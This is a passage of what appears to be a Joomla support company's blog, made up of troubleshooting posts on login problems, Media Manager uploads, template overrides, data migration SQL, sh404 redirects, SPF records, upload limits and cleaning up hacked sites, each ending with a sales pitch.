    The Joomla User plugin is responsible for handling all user activity in Joomla. If that plugin is disabled, then even if the login is successful, then Joomla will redirect back to the login page without showing any errors as it doesn’t know what to do with the logged in user (makes sense?). This problem is extremely nasty because it’s very hard to debug – even for seasoned Joomla developers.

    Remedy: This issue can be resolved by logging in to phpMyAdmin, going to the table #__extensions, and setting the enabled value of the plg_user_joomla row to 1.

  10. Joomla’s ACL is messed up

    We saved the best (or is it the worst?) for last! A messed up ACL can potentially completely block any login attempts to your Joomla website. Not only that, it can wreak havoc on the frontend of your website as well. There are many signs that you have a messed up ACL, one of them is being able to login, but seeing a completely empty top menu in your backend. So you can login, but you just can’t do anything!

    Remedy: Consult with a Joomla expert. Joomla’s ACL is pretty delicate so do not attempt to fix this problem by yourself or else you might risk breaking other areas on your website.

We hope that you find the above guide comprehensive, and, more importantly, we hope that it helped you solve your problem. If it didn’t, then probably the next step would be to contact us. We guarantee you that we’ll fix the problem as fast as we can and at a very affordable cost!

Upload Not Working in Joomla’s Media Manager – How to Fix

One of our regular customers emailed us today and told us that the Media Manager on his Joomla website of his company is not working. He asked to take a look. We logged in to his website and we noticed that while the Media Manager page is loading properly, the upload functionality is not working. In fact, when we tried to upload an image (in FireFox), the following happened:

  • The below message popped up:

    Although this page is encrypted, the information you have entered is to be sent over an unencrypted connection and could easily be read by a third party. Are you sure you want to continue sending this information?

    and…

  • …once we clicked on Continue – we were redirected to a blank page!

The first thing that we tried to do was to enable debugging since a blank page in Joomla is nearly always a sign of an error. Unfortunately, the page remained blank even after debugging was turned on. Hmmm…

We then thought: maybe that JavaScript popup message is related to the problem. So, we checked the HTML code of the Media Manager page (where the files are uploaded), and we noticed that even though the website was set to only use https://, the Media Manager page was submitting to an http:// page (which was http://www.ourclientjoomlawebsite.com/administrator/index.php?option=com_config&view=component&component=com_media&path=&tmpl=component. Aha! That was the problem!

You see, the secure version of any website is not the same as the non-secure version of the same website from many perspectives – so while the upload was being done from the https version of the website, it was submitting to the non-secure version. OK – we know that the previous statement is a bit complicated, so let us explain (in simple and concise steps) what happened:

  • The file is uploaded to the non-secure version of the website.

  • The non-secure version of the form submission script (which was supposed to handle the upload) automatically redirects to the secure version of that script.

  • The secure version of the script can’t find the file that needs to be uploaded – and throws an empty page because it thinks that this is most likely an attack.

But – why was the form submitting to the non-secure version of the script?

Because Joomla’s configuration.php told it to… Yes – it was all its fault, the configuration.php had the the $live_site variable set to http://www.ourclientjoomlawebsite.com instead of https://www.ourclientjoomlawebsite.com – changing that variable to https://www.ourclientjoomlawebsite.com fixed the problem!

But isn’t that a Joomla bug?

As much as we don’t like to say it – yes, it’s a bug in Joomla’s core. Here’s why: what if the Joomla administrator wants to set the $live_site to the non-secure version of his website and wants to only have the backend of his website running in secure mode. Currently, this won’t work, because the form submission script of the Media Manager is set to use the $live_site variable if it exists. So either the whole website runs in https mode (not just the backend), or the $live_site variable is set to empty.

Is there a workaround?

The only workaround that can fix this erroneous behavior is by modifying a core file in Joomla – which is never recommended because it might affect (or be affected by) future Joomla updates.

Now, if you’re having problems uploading files to your Media Manager, and if the above didn’t help you, then maybe it’s a permission issue – remember, Joomla must have recursive write permissions to the tmp and the images directory for the Media Manager to work. If it’s not, then maybe it’s because you need to increase the maximum upload size in your Media Manager. If it’s neither, then your best option would probably be to contact us. We’re fast, we’re efficient, we don’t charge much, and we know our Joomla!

How to Change the “Email this link to a friend” Template in Joomla

We are currently finalizing the migration of a very large Joomla website at the moment (from 1.5 to 2.5). During the latest QA session, we discovered that the “Email this link to a friend” popup page (the page that pops up when you click on the email icon on any article) does not look properly formatted. In this post, we will be explaining how to modify the template for this popup window!

As most Joomla developers know, every single layout of any component in Joomla is overridable – which means that creating a file, giving it a certain name and placing it in the right place will replace the layout of any page in Joomla. So, which file controls the layout of the “Email this link to a friend” popup page?

Well, that file is called default.php and is located under the /components/com_mailto/views/mailto/tmpl directory. So, in order to override the layout of that file, all you need to do is to copy that default.php file to the /templates/[your_template_name]/html/com_mailto/mailto directory (in most cases, that directory may not exist, so you will need to create it). Once you do that, you will be able to modify the look & feel of the “Email this link to a friend” popup by just editing that file (the default.php file).

But what about style changes?

CSS styles for the “Email this link to a friend” popup are controlled by the print.css file which is located under the /templates/[you_template_name]/css directory.

And how about the confirmation message?

Unfortunately, the confirmation message (the message that appears after you press the Send button) is not controlled by the same view that controls the layout of the form. It is controlled by another view, which is the sent view. So, if you would like to modify the confirmation message page, then all you need to do is to copy the default.php file from /components/com_mailto/views/sent/tmpl to the /templates/[your_template_name]/html/com_mailto/sent folder (again, you will need to create that directory if it doesn’t exist) and make your changes to the copied file.

Is that it?

Yes – that’s it! And the best thing is, you don’t need to touch any Joomla core file, which means that you can safely apply all Joomla updates without any fear that they may break your website!

Are there any caveats

There is one: Since you’re not changing the core (which is the right way to go) and you’re applying the layout changes for that popup only to a particular template, you will lose all the changes when you switch to a different template. However, copying the above directories to the new template will usually solve the problem (if the modified code is well written).

Now, if you need help changing the “E-mail this link to a friend” template, then all you need to do is to contact us and we’ll do it for you in no time! Our prices are very affordable, our work is professional, we are nice people to work with, and we really love Joomla!

How to Migrate Modules’ Data from Joomla 1.5 to Joomla 2.5

- Note 1: This post is about migrating modules’ data (such as settings, content, etc…) – it’s not about migrating the actual code. This post comes to help when you have lots of modules on your Joomla 1.5 website, and you don’t have time to manually migrate all the data for all these modules.

- Note 2: This post is very technical and a bit advanced, if you’re not a programmer and if you don’t have experience in database queries, then we suggest that you email this post to your programmer to do the below for you – or even better – contact us to do it for you ourselves!

- Note 3: This post assumes that you have access to phpMyAdmin and you know how to use it. If you don’t, then again, either forward it to your developer/system administrator or let us do it for you.

- Note 4: This post is somehow similar to our previous post on migrating users from Joomla 1.5 to Joomla 2.5 – except that the latter is about migrating users.

The funnest part, in our opinion, in a Joomla migration project, is migrating modules (the second funnest is migrating the template). It’s only when you migrate the modules that you see the website becoming (errr) a website, again! However, the task of migrating modules is usually not an easy task and it consists of two parts:

  1. Migrating the actual code for each and every module.

  2. Migrating the data for each and every module.

Migrating the module’s code is too specific and there is no silver bullet for such a migration. On the other hand, migrating the modules’ data, including the settings, the ordering, and the placement, is an easy task if you have access to phpMyAdmin. Let us explain, in a few easy steps, how to do this:

  • Login to phpMyAdmin

    Logging in to phpMyAdmin can be typically done from your hosting account and the process varies depending on your environment. If you have troubles accessing phpMyAdmin, then you should contact your hosting provider.

  • Select the database of your old Joomla website

    The name of the database of your old Joomla website can be found in your configuration.php file. (It is the value of the $db variable).

  • Run the below query

    Click on SQL (in phpMyAdmin) and run the following query:

    SELECT `id`, `title`, `content`, `position`, `ordering`, `module`, `published`, CASE WHEN access <= 1 THEN 1 ELSE access END AS `access`, `showtitle`, `params`, `client_id`, '*' as `language` FROM `jos_modules` WHERE `published` = 1

    Some observations on the above query:

    • Notice the condition on the access field - this is because an access field that has a value of 0 in Joomla 1.5 must have a value of 1 in Joomla 2.5.

    • We are adding the language field (that doesn't exists in Joomla 1.5) and we are giving it a value of *, which means that the module is available in all languages (if this is not the behavior that you want then you need to modify the query to accommodate your needs).

    • We are filtering out non-published modules. If you don't want that then run the following query instead:

      SELECT `id`, `title`, `content`, `position`, `ordering`, `module`, `published`, CASE WHEN access <= 1 THEN 1 ELSE access END AS `access`, `showtitle`, `params`, `client_id`, '*' as `language` FROM `jos_modules`

  • Export the results of the query

    This can be done by scrolling down the query results page (after running the query above), and clicking on the Export link under Query results operations. Once you click on the button, you will be redirected to another page, on which you should do the following:

    • Choose Custom as Export Method.

    • Click View output as text under Output.

    • Click on Go at the very bottom of the page and finally copy the exported data (by pressing Ctrl+a and then Ctrl+c on the window containing the exported data).

  • Prepare the data to be imported

    Now that you have exported the data, you will need to prepare it for importing. All you need to do is to apply the following to the exported data:

    • Replace all references to jos_ with the table prefix of your Joomla 2.5 website (the table prefix can be found in the configuration.php file of your new Joomla website).

    • Replace the first line from:

      INSERT INTO `[table_prefix]modules` (`id`, `title`, `content`, `position`, `ordering`, `module`, `published`, `access`, `showtitle`, `params`, `client_id`, '*') VALUES

      to:

      INSERT INTO `[table_prefix]modules` (`id`, `title`, `content`, `position`, `ordering`, `module`, `published`, `access`, `showtitle`, `params`, `client_id`, `language`) VALUES

      Note that there might be several references to the above query in the exported data - the number of these references is proportional to the size of your modules table.

  • Import the modules' data into your new website

    Now you need to import the modules' data to your new Joomla website. All you need to do is the following:

    • Select the database of your new Joomla website.

    • Click on SQL (located on the top of the page) and paste the modified exported data, and then click on Go at the bottom.

    • That's it! Assuming everything went well, you have successfully migrated your modules' data from Joomla 1.5 to Joomla 2.5! Congratulations!

Now it is important to mention that the above process will not migrate the associations of the modules to the menu items. This is a much more complex process and it's outside the scope of this post. If you need help doing this, then please contact us. Our fees are very competitive, our work is very fast, and our results are always satisfactory to our clients!

How to Fix “This Page Isn’t Redirecting Properly” on Joomla

We had a small task today where one of our clients told us that one of the pages on his Joomla website was taking a long time to load, and then eventually it was displaying a blank screen. We first thought that his website was hacked, but then, when we enabled error reporting, we saw the following error on Firefox: “This Page Isn’t Redirecting Properly”. Hmmm…

When we saw the above error, we didn’t rule out a hack, but we thought that it might be something else… So, we investigated the issue, and it turned out that he had sh404 installed (the worst Joomla extension), and he explicitly added an alias in the URL manager, for that page, to redirect to that same page (e.g. the page was redirecting to itself, causing an infinite loop). We removed that alias and the page loaded properly.

If you’re having the same issue yourself, then here are step-by-step instructions on how to fix it:

  • Login to the backend of your Joomla website.

  • Click on Components -> sh404SEF on the top menu.

  • Click on URL Manager.

  • Search for the page that you’re having problems with.

  • Click on the name of that page. Let’s assume that this page is called our-business.html.

  • On the popup window, click on Aliases.

  • Remove the entry our-business.html from the list of aliases.

  • Click on Save.

  • That’s it!

Doing the above steps should fix your problem – if it didn’t, then we urge you to contact us and we’ll solve the problem for you in no time. Oh, and don’t worry about our fees, they are very affordable!

sh404 – The Worst Joomla Extension

We don’t like to attack Joomla extensions, especially prominent ones. In fact, we can’t remember if we ever did attack an extension on our blog (if you know that we did that before, then please let us know in which post). But this morning something happened, something that made us choose sh404 – the famous extension for redirecting pages on Joomla websites – as the holder of the worst Joomla extension of all time title!

Let us now narrate what happened today… It was about 10 AM EST, one of our regular clients, let’s call him Steve, called us and told us that he was getting a 404 error on one of the pages on his website. Here’s Steve’s briefing about the issue:

  • The page exists.
  • He already created a menu item pointing to that page.
  • Both the page and the menu item are published.
  • He was trying to reach the page on his Joomla website based on its alias.

What Steve forgot to mention about his website is that he has sh404 installed. We knew this because we have worked on his website many times before. So, we logged in to the backend of his Joomla website, we then loaded the URL Manager page in sh404, and we purged all the URLs on the website, and left only the hard coded ones (sh404 doesn’t delete the manually inserted URLs – which is, to be fair, the right and expected behavior). We scanned the hard coded URLs for an entry that was relevant to the page in question but we found none.

We then went to the website and we tried to reach that page, but we still got a 404 error – even trying to load the page based on its non-SEF URL returned a 404 error. We double checked if everything was OK (the article exists, the article is published, the menu item exists and is published, the menu item’s alias is correct, etc…) – and it was. We then spent a lot of time beating around the wrong bushes! We knew that the problem was with sh404 (disabling sh404 solved the problem), but we just didn’t know why this was happening! A while later, someone from our team said, why don’t we just check phpMyAdmin, maybe sh404 has the link there somewhere – and so we did. We logged in to phpMyAdmin and we saw that the table #__sh404sef_aliases had an entry where the newurl was the non-SEF link of the article, and the alias was set to empty. Deleting that row solved the problem, but for some reason, we didn’t feel that we really solved the problem… We started wondering what created that wrong entry and what is the guarantee that this exact same issue will not happen again? In our opinion, we just cleaned the mess caused by sh404, but unfortunately, we didn’t solve the problem, as the problem lies somewhere in the core of sh404, and probably fixing it will have side effects elsewhere!

Now you might be thinking, OK, but does that really make sh404 the worst Joomla extension ever? Isn’t that a bit harsh?

If it was the first time that we see a problem that is caused by the instability of sh404, then we’d agree with you, but there isn’t a week that goes by where at least one client comes to us with an sh404 problem, and let us tell you something, all sh404 issues are extremely weird and very hard to solve!

But isn’t sh404 a very complex extension, which means that it’s allowed to have a few bugs here and there? Maybe, but let’s examine, in one sentence, the basic and main job that sh404 has to do:

sh404 is an extension that redirects on-site non-SEF URL’s to well formatted SEF URLs.

That’s its basic job, and we know, as programmers, that once you have the rewriting rules right then it’s a very simple process – yet after years and years of development, sh404 is still (in our opinion) an unstable extension that should not be installed on production websites – unfortunately though, there is no alternative to this mess, and so many Joomla website owners/administrators are stuck with it.

On a closing note to this rant, think about the following:

  • How come your Joomla SEF links always work when you only have Joomla’s native System SEF plugin running, while you have to routinelypurge links on sh404 to fix redirection issues?
  • How would have solved the above issue (if it happened to you) if you didn’t have access to phpMyAdmin?

  • How come sh404 has not reached stability yet, even though it’s a commercial extension with a huge community and even though it has been there for years?

  • Why can’t the developers of sh404 focus more on the development of the main functionality of the extension rather than working on the development of bells and whistles (such as analytics and shURLs). Don’t they think that people will appreciate a solid extension with less (mostly unneeded) functionality more than a very large extension with (mostly) broken functionality.

Now don’t take us wrong, we think that the people who are working on the development of sh404 are very intelligent people and that sh404 was, at one point, an excellent plugin and that’s why it has so many adopters, but it has since grown into a monster that nobody is able to tame, which is why we consider it now the worst Joomla extension ever.

By the way, if you’re having sh404 problems like our client Steve, then feel free to contact us, and we’ll sure fix them! Our rates are extremely competitive, our work is professional and fast, we are very friendly, and we always welcome new customers!

SPF Records and Sending Emails from Your Joomla Website

Quite often, we receive requests from our customers asking us to “fix” their SPF records on their Joomla websites. So, what is an SPF record, and why does a Joomla website need it?

An SPF (SPF stands for Sender Policy Framework) record is a DNS entry that will tell other mail servers which IP (or range of IPs) is (are) allowed to send an email pertaining to your domain. Yes, we know, this statement might sound a bit too technical, so let us give you an example…

The SPF record of itoctopus.com is currently the following:

v=spf1 +a +mx +ip4:173.199.145.148 +ip4:173.199.145.150 -all

The SPF record above tells the world that only the following IPs are allowed to send an email originating from itoctopus.com:

  • 173.199.145.148
  • 173.199.145.150

Now, you might be wondering, why is that necessary?

Well, the main reason behind SPF is to prevent spoofing. Email spoofing is when a spammer sends an email that looks like it’s sent from a certain domain (because of the headers and the from address), while, in reality, it’s not.

But why should someone care about email spoofing?

Imagine that a spammer sends every day thousands of emails that appear to be incoming from your domain. Sooner or later, your domain will be blacklisted and all the emails that are sent from your domain, even the legitimate ones, will end up either blocked or in the Junk E-mail folder that no one usually reads. In other words, the majority of your customers will no longer be able to receive any of your emails, whether these emails are sent from your Joomla website (for example, purchase confirmation emails, newsletters, reminders, etc…) or by you directly! Ouch!

So, how does SPF really work and how does it help prevent spoofing?

As explained earlier in this post, an SPF record explicitly specifies which IPs are allowed to send emails on your domain’s behalf. So, mail servers receiving emails from your domain will check whether the IP of the sending server exists in your SPF record. If it does, then it’ll redirect the email to the proper recipient, if it doesn’t, then it’ll reject the email (some servers will tell you that your email was rejected, others will just ignore it). In a best case scenario, the email will be tagged by the mail server with [SPF] and mail clients will automatically place it in the Junk folder.

As you can see, the existence of an SPF record ensures that mail servers will only accept legitimate messages from your domain, which means that illegitimate messages will no longer affect the reputation of your domain!

Will it hurt if the domain doesn’t have an SPF record?

Not having an SPF record won’t hurt until a spammer starts sending emails that appear to be originating from your domain. This is when an SPF becomes an absolute necessity to ensure that your emails reach your audience – or else, you will be forced to use free alternatives (such as gmail and the likes) to reach up to your clientele, which is not professional.

But what if the Joomla website doesn’t send any emails, is an SPF record still a necessity?

If the Joomla website doesn’t send emails, and if you don’t have any email accounts for that Joomla website, then it’s not really a necessity, but we recommend that you do it. Creating an SPF record is not that hard as you’ll see below.

How to check if a domain has an SPF record?

There are many online tools (some are commercial and some are free) that will list the SPF record of any domain (assuming, of course, that domain has an SPF record). Just Google spf record check and see what you’ll get. Alternatively, you can call your hosting provider and ask them whether your domain has an SPF record or not.

Can the SPF record added through Joomla’s backend?

No – it can’t. The SPF record is a DNS entry that cannot be added through your Joomla website’s backend.

So, how and where can the SPF record be added?

The answer depends on your hosting environment since the process substantially differs from one environment to the other. For example, if you’re using cPanel, then you can add an SPF record the following way:

  • Login to your cPanel account for your Joomla website.
  • Click on Email Authentication.

  • Ensure that the SPF status is Status: Enabled & Active (DNS Check Passed) . If it’s not, then click on the Enable button just under SPF.

  • In the Additional Ip blocks for your domains (IP4) field, add the IPs that are allowed to send emails for your domain.

  • Click on Update.

  • That’s it!

If you’re using Plesk or another environment, then it’s better to have a system administrator do it for you (we can also do it for you!), since it can get a bit complicated and it can take some time.

Note that adding an SPF record is technically a DNS change, and, as such, it might take up to 48 hours to take effect because that change needs to propagate across servers worldwide. If you want it to take effect in a shorter period, then try lowering the TTL to something like 300 – which is the minimum (ask your hosting provider to do this for you if you don’t know how to do it).

Should the SPF record change when the domain’s IP change?

If the mail server’s IP changes as well (which is most likely the case), then yes, definitely, the SPF record should be updated to reflect the new IP (or ranges of IPs) that is (are) allowed to send emails from your domain.

We hope that this post on SPF records was helpful. We tried to put everything in layman’s terms because we know that the majority of Joomla website owners/administrators are not technical. Now, if you read the above and you feel you need help setting up (or fixing) an SPF record on your Joomla website, then do not hesitate to contact us immediately! We are friendly, we are very experienced in Joomla, we don’t charge much, our work is very clean, and we are super fast!

Your Joomla Website Is Really Really Slow? Maybe It’s Hacked!

A new customer called us a few hours ago, and told us that his website was really slow. He told us that his website was hacked, and that his hosting company “fixed” the problem, but after they “fixed” the problem, his website became super slow. We thought that it might be a simple thing as enabling the System Cache plugin, but when we visited the website, we knew that there was something wrong…

It took, on average, 35 seconds to load a page on his website. Enabling caching fixed the problem, but 35 seconds without the cache? There must be something terribly wrong with the website, especially when taking into account that the whole website consists of a handful of pages (and each page has just 3 modules).

Our usual suspect, in this case, is a heavy query somewhere that is slowing down the whole website, so we printed all the queries that were running on the homepage, and then we started running each and every query on phpMyAdmin. To our surprise, all queries executed in milliseconds! Which means that what’s causing the problem is something else…

We thought that it might be a DNS issue, so we added the following code to the beginning of the index.php (which is located under the root directory of the website):

if ($_SERVER['REMOTE_ADDR'] == '[OUR IP]'){
	die('Hello itoctopus!');
}

We uploaded the index.php file, and we loaded the page, and it loaded instantly, which proves that there is no DNS issue whatsoever…

We started thinking, could it be something wrong in the .htaccess file causing the issue? So we just renamed the .htaccess file to htaccess.old, and tried to load the page (after reverting the change that we did in the previous step, of course), but the page still took more than 30 seconds to load.

What could it be?

As a last resort, we checked the HTML source code of the page, maybe there’s an iframe somewhere that is delaying the whole loading of the page? We didn’t see an iframe, but what we did see was many hidden links to malicious websites! Aha, the website was still hacked! With that knowledge, we used our easy method to quickly discover which Joomla file(s) was(were) hacked, and we had an immediate winner! It was the application.php file located under the includes directory. The application.php file had a block of code (that was injected) that was using curl to retrieve content from a (very slow) malicious website located far, far away!

We removed the curl code and the website became, as we expected, super fast! Problem solved!

But what should one learn from this experience?

Well, there are two lessons learned here:

  1. Never, ever dismiss the idea that the website is still hacked when your hosting company tells you that it’s fixed – especially when your hosting company tells you that it’s fixed. First of all, it’s not the responsibility of the hosting company to fix your website, second of all, support personnel in hosting companies consists of, at best, system administrators, who may or may not have the required skills to fix your website, and who may or may not care about your website as much as you do.

  2. Extreme slowness in loading time might be a sign that the website is hacked. This is almost 100% true when the website in question is a very simple website that consists of a few pages/modules.

Now, if your website is extremely slow, we suggest you check if it’s hacked or not, and if you feel that you need some experts’ help, then just contact us! We’re experts in Joomla security, we’re very professional, our rates are very affordable, and we know that we can fix your website!

K2 Items Not Appearing in K2 Modules After Migrating to Joomla 2.5

Note: This post assumes that you have migrated the K2 extension to the latest version on Joomla 1.5 prior to migrating to Joomla 2.5.

We are currently working on a large, a very large migration project from Joomla 1.5 to Joomla 2.5. A mini-project in this migration project is migrating K2 content to the new Joomla website. K2 migration is usually very easy and straightforward. Here’s what we did to migrate K2:

  • We migrated the old version of K2 to the latest version of K2 on the old (Joomla 1.5) website.

  • We installed K2 on the new (Joomla 2.5) website.

  • We copied all the K2 tables (using phpMyAdmin) from the old website to the new website.

The above process was supposed to work seamlessly, since both websites have the latest version of K2 (which means that the K2 database structure is exactly the same), but for some reason, K2 items in the K2 content module (as well as other K2 modules) did not show up.

So, we opened the K2 content module and printed the query that was used to retrieve the rows from the database, and here’s what we got:

SELECT i.*, CASE WHEN i.modified = 0 THEN i.created ELSE i.modified END as lastChanged, c.name AS categoryname,c.id AS categoryid, c.alias AS categoryalias, c.params AS categoryparams FROM #__k2_items as i LEFT JOIN #__k2_categories c ON c.id = i.catid WHERE i.published = 1 AND i.access IN(1,1) AND i.trash = 0 AND c.published = 1 AND c.access IN(1,1) AND c.trash = 0 AND ( i.publish_up = '0000-00-00 00:00:00' OR i.publish_up <= '2013-02-21 17:38:03' ) AND ( i.publish_down = '0000-00-00 00:00:00' OR i.publish_down >= '2013-02-21 17:38:03' ) AND i.catid IN (1,2,3,4,5) ORDER BY i.created DESC

We ran the exact query on phpMyAdmin to see if there’s anything wrong, and while there was nothing wrong with it, it didn’t return any rows. So, we looked deeper into the issue and we started dissecting the above query by removing conditions, until we discovered the two conditions that were causing the problem. Both are highlighted in red below:

SELECT i.*, CASE WHEN i.modified = 0 THEN i.created ELSE i.modified END as lastChanged, c.name AS categoryname,c.id AS categoryid, c.alias AS categoryalias, c.params AS categoryparams FROM #__k2_items as i LEFT JOIN #__k2_categories c ON c.id = i.catid WHERE i.published = 1 AND i.access IN(1,1) AND i.trash = 0 AND c.published = 1 AND c.access IN(1,1) AND c.trash = 0 AND ( i.publish_up = '0000-00-00 00:00:00' OR i.publish_up <= '2013-02-21 17:38:03' ) AND ( i.publish_down = '0000-00-00 00:00:00' OR i.publish_down >= '2013-02-21 17:38:03' ) AND i.catid IN (1,2,3,4,5) ORDER BY i.created DESC

Aha! It was the access field which seems to be irrelevant in K2’s implementation in Joomla 1.5, but critical in that of Joomla 2.5. We looked at both the #__k2_categories and the #__k2_items tables, and sure enough, the access column was set to 0 across the board in both these tables.

So, what did we do to fix the problem?

Solving the problem was quite easy, all we needed to do was to issue the two following SQL queries in phpMyAdmin (of course, after changing #__ with the table prefix):

UPDATE `#__k2_categories` SET `access` =1;
UPDATE `#__k2_items` SET `access` =1;

That’s it! After we did that, all the K2 modules were properly populated. Problem solved!

If you’re having problems with K2 items not showing up in your modules, then try the above method, and if it works, then we’re glad we were able to help. If it doesn’t, then just contact us and we’ll fix it for you in no time and at a very affordable cost. We’re experts in Joomla, we’re professional, and we’re really nice to work with!

How to Increase the Maximum Allowed Size of Uploaded Files in Joomla’s Media Manager

By default, the media manager in Joomla 2.5 allows a maximum upload size of 10 MB, which is ridiculous, since a high resolution picture can be bigger than 10 MB, and the smallest video with the smallest resolution (by today’s standards) can be at least 3 times that size. So, there must be a way to increase that maximum!

So, how can one increase the maximum upload size in Joomla’s media manager?

Well, it’s very easy. In order to do that, all you need to do is to follow these steps:

  • Login to the backend of your Joomla website.
  • Click on Content->Media Manager in the upper menu.

  • Click on Options on the top right.

  • Change the value next to Maximum Size (in MB) to something other than 10 (let’ say 100, for example). Just enter a number, do not enter something like “100 MB” or “1 GB”. Just enter 100 or 1000 (all the values are assumed to be in Megabytes or MB).

  • Click on Save & Close on the top right.

  • That’s it!

Now, after modifying the maximum upload size, try uploading a large file (say one that is 50 MB), and see if it works. If it works, then congratulations! If it doesn’t work, then read on…

So, why is it that the new maximum upload size is not taken into consideration and what can be done about it?

Well, theoretically, you can set the value of the maximum upload size to anything, but realistically, everything in life has bounds, including that maximum upload size! As a rule of thumb, the maximum upload size cannot be greater than the upload_max_filesize and the post_max_size, both of which are values defined in php.ini (the PHP’s settings file). So, if you’re still not able to upload a large file even if its size is less than the value that you defined in the Media Manager, then most likely the size of that file is larger than upload_max_filesize or post_max_size. As a rule of them, the actual maximum upload size in Joomla is always the lesser of these 3 values:

  1. Joomla’s maximum upload size as set in the Media Manager’s settings
  2. The upload_max_filesize as defined in php.ini

  3. The post_max_size as defined in php.ini

So, what if you really need to upload that large file through Joomla, can anything be done about it? Fortunately, in most cases, yes. All you need to do is to create a file called php.ini and place it under the root directory of your Joomla website. That file should contain the following lines:

upload_max_filesize = 100M
post_max_size = 100M

The presence of this file will override the settings in the global php.ini and will ensure that the maximum upload size available to your Joomla website is 100 MB (of course, you can change the number to something other than 100 MB if you want).

Keep in mind that some shared hosting environments might ignore that php.ini that you have created. In this situation, your only option is to contact your host and tell them that you need to upload larger files through your PHP application.

Is there a way to know the maximum upload size defined in the global php.ini?

Yes there is. All you need to do is to create a file called phpinfo.php which consists of the following line:

phpinfo();

Upload the file to the root directory of your Joomla website and load the corresponding page into your browser (e.g go to http://www.yourjoomlawebsite.com/phpinfo.php). The displayed page will show all your PHP settings; just search for upload_max_filesize and post_max_size and you will see their values right next to them.

Now we reach the conclusion of this post. We hope you enjoyed it and we hope that you found it useful. If you didn’t (perhaps because it’s a bit technical) or if you just need more help, then that’s why we’re here! Just contact us and you’ll see how fast, reliable, and affordable we are. We’re also the friendliest programmers on planet earth! (that’s what our clients say about us!)

Database Hacks on Joomla – The Worst Kind of Hacks

A new client called us today and told us that his website was hacked, and asked us to fix it. The moment we hung up the phone with him, we started working on it immediately (we treat such tasks as urgent).

We did our regular check on its filesystem, and we didn’t discover anything! (even after following our super-duper easy-peasy method to quickly discover the infected files on a Joomla website). We then pondered for a moment; could this be a database hack? We haven’t seen one for a long time!

So, we checked the database, and we were right, the filesystem was not infected, but the database was! It was a dreadful moment… Dreadful not because it’s hard to fix, but dreadful because we know that ensuring that the website remains clean (after it’s fixed) can be costly for the client (he was running a very old Joomla website with some very outdated and low profile extensions).

So, what is a database hack? And how is it different from a filesystem hack?

A database hack is when the malicious code is inserted directly into the database, rather than in one or more core files. Generally, the database hack consists of inserting the malicious code in one or more rows of the following two tables (replace #__ with your table prefix):

  1. #__content
  2. #__modules

The malicious code inserted in the database usually has the same outcome as if it was inserted to a core Joomla file: It can redirect to malicious websites, it can infect clients (by clients we mean PCs loading the website) with a virus, or it can show content that is completely irrelevant to the website (the different content may be shown to Google’s bot, to the visitors, or both).

What is the cause of a database hack?

The cause of a database hack is generally a SQL injection exploit (hence we say that the rows are injected with malicious code). Now we know what your second question is: “Isn’t SQL injection a thing from the past in Joomla?” Well, the answer is that it’s not, thanks to some exploitable Joomla versions (including many releases of Joomla 1.5) and to some poorly written extensions (exploits of such extensions are well documented on Joomla’s official website).

How to fix a database hack on a Joomla website?

The answer to this question is simple: “Find and replace”. “But how?”, you might be wondering. Well, all you need to do is the following:

  1. Login to your Joomla database using phpMyAdmin.
  2. Click on a affected table (e.g. a table that has some malicious code injected in one or more of its rows).

  3. Issue the following command (in our example below, we are assuming that the infected table is #__content and the infected column is the introtext column – make sure you replace #__ with your table prefix):

    UPDATE #__content SET `introtext` = REPLACE(`introtext`, '[malicious code]', '');

  4. Repeat Steps #2 and #3 for all the infected tables and all the infected columns.

Note: Finding which tables/columns are infected consists of doing a global search at the database level in phpMyAdmin.

How to ensure that the database hack will not happen again?

In order to ensure that your Joomla database won’t be hacked again you need to do the following:

  • Upgrade your Joomla website to the latest version.
  • Hire some Joomla experts to analyze the 3rd party extensions that you have on your website to ensure that they’re all clean.

Why is the database hack the worst kind of hacks?

Good question! It’s because, as mentioned earlier, it can be very costly. While hacks on the filesystem can be completely blocked by enforcing strict permissions (e.g. changing ownership to root, changing file permissions across the board to 444, etc…), database hacks can only be prevented by ensuring that all the extensions, as well as Joomla itself, are up-to-date and are not exploitable. This can take a lot of time and can cost a lot of money – especially if the website in question is very large in size.

Now, if your Joomla website is hacked – regardless of the type of hack – then fear not! Relax, take a deep breath, and call us! We always answer the phone, we know Joomla from inside out, and our rates are very affordable for what we do! As many of our clients describe us, we are life savers!

“Notice: Undefined property: [extension_name]::$_state” Error in Joomla

When working on a major project on a Joomla website, we usually maximize the Joomla error reporting. This guarantees that not a single error, not even a notice, can go undetected and unfixed in our final work.

One of the common notices that we see on major projects is the following:

Notice: Undefined property: [extension_name]::$_state in /libraries/joomla/session/session.php on line 323

So, probably the first question that you have is the following: “What happens in line 323?”

Well, here’s the code in line 323 in the session.php file located under the /libraries/joomla/session/.

if ($this->_state === 'destroyed')

If you’re a PHP programmer, you probably know what the problem is. The attribute _state on the JSession object is not set, and that’s why PHP is complaining. It is not really an error, but PHP thinks that the value of _state might be needed at one point or the other in your code.

But why the _state attribute was not set?

Good question! Take a look at this code:

$sessionId = JSession::getId();

If you have used the JSession class before, you will know that the getId() method (quick note: a method is a function that belongs to a class) is not really static, which means that even though the above code works, it’s wrong…

You see, you must instantiate an object of type JSession, and then call the method getId(). So, you must replace the above code with this one:

$objSession = new JSession();
$sessionId = $objSession->getId();

The above code ensures that all attributes, including the _state attribute that PHP is complaining about, are properly set in the constructor of the JSession class.

But, what if you don’t want to instantiate an object?

The above solution that we have proposed is the right one. But, in some cases, you may not want to instantiate an object (we can’t think of any at the moment, but we’ve done this to address weird bugs). In this case, there are two methods to solve the problem:

  1. At the extension’s level

    All you need to do is to open the main .php file of the extension that PHP is complaining about, and change your code from:

    $sessionId = JSession::getId();

    to

    $sessionId = @JSession::getId();

    (Notice the @ symbol just in front of JSession.)

  2. At the core level

    Just change the line 323 in the session.php file which is located under the /libraries/joomla/session/ directory from:

    if ($this->_state === 'destroyed')

    to

    if (@$this->_state === 'destroyed')

    (Again, notice the @ sign at the beginning of the if statement).

If you have many of those errors on your website, then the second method might be more practical, but you must consider the fact that you are changing a core Joomla file, that might be overriden with a new update.

Isn’t there an easier way to fix the problem for those who are not programmers?

Yes there is. All you need to do is to login to your Joomla’s backend, and then go to Site -> Global Configuration -> Server, and then choose None next to Error Reporting and finally click on Save at the top right. This is quite easy, isn’t it? But, on the flip side, you haven’t really fixed the error, you have just hidden it, and if you are in a development environment, then you won’t see that subtle error that may or may not be causing a cascade of issues on your website. (Note that in a production environment, the value of Error Reporting should always be None. Otherwise, your Joomla website can reveal some valuable information that can be used to launch malicious attacks against it!)

So, what is the best method to fix this problem?

